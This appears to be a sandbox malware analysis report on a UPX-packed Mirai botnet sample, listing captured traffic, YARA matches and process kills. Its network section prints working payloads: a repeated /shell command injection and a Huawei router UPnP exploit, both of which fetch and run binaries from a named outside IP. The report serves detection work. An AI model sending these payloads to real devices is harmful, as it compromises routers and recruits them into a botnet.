      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: unknownHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: z0r0.i686.elf, 5430.1.0000000008048000.000000000805a000.r-x.sdmp, z0r0.i686.elf, 5432.1.0000000008048000.000000000805a000.r-x.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: z0r0.i686.elf, 5430.1.0000000008048000.000000000805a000.r-x.sdmp, z0r0.i686.elf, 5432.1.0000000008048000.000000000805a000.r-x.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
      Source: z0r0.i686.elfString found in binary or memory: http://upx.sf.net

      System Summary

      barindex
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_c8385b81 Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF Mirai variant Author: Florian Roth
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_c8385b81 Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF Mirai variant Author: Florian Roth
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3104, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3161, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3162, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3163, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3164, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3165, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3170, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3182, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3212, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5440, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5441, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5442, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5443, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5444, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5445, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5467, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5475, result: successfulJump to behavior
      Source: LOAD without section mappingsProgram segment: 0x8048000
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3104, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3161, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3162, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3163, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3164, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3165, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3170, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3182, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 3212, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5440, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5441, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5442, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5443, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5444, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5445, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5467, result: successfulJump to behavior
      Source: /tmp/z0r0.i686.elf (PID: 5437)SIGKILL sent: pid: 5475, result: successfulJump to behavior
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_c8385b81 reference_sample = 3d27736caccdd3199a14ce29d91b1812d1d597a4fa8472698e6df6ef716f5ce9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = dfdbd4dbfe16bcf779adb16352d5e57e3950e449e96c10bf33a91efee7c085e5, id = c8385b81-0f5b-41c3-94bb-265ede946a84, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
      Source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_c8385b81 reference_sample = 3d27736caccdd3199a14ce29d91b1812d1d597a4fa8472698e6df6ef716f5ce9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = dfdbd4dbfe16bcf779adb16352d5e57e3950e449e96c10bf33a91efee7c085e5, id = c8385b81-0f5b-41c3-94bb-265ede946a84, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
      Source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
      Source: classification engineClassification label: mal100.spre.troj.evad.linELF@0/0@0/0

      Data Obfuscation

      barindex
      Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
      Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
      Source: initial sampleString containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5440)Directory: /home/saturnino/.Xdefaults-galassiaJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5441)Directory: /home/saturnino/.Xdefaults-galassiaJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /home/saturnino/.Xdefaults-galassiaJump to behavior
